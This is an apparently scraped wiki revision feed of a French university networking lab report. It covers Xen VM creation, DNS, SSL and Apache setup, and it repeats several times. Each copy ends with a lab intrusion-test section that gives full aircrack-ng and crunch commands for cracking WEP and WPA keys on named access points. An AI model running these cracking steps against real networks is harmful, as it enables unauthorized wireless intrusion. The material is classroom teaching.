&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57060</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57060"/>
				<updated>2021-12-13T17:10:26Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Certificat SSL */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57035</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57035"/>
				<updated>2021-12-13T16:25:19Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
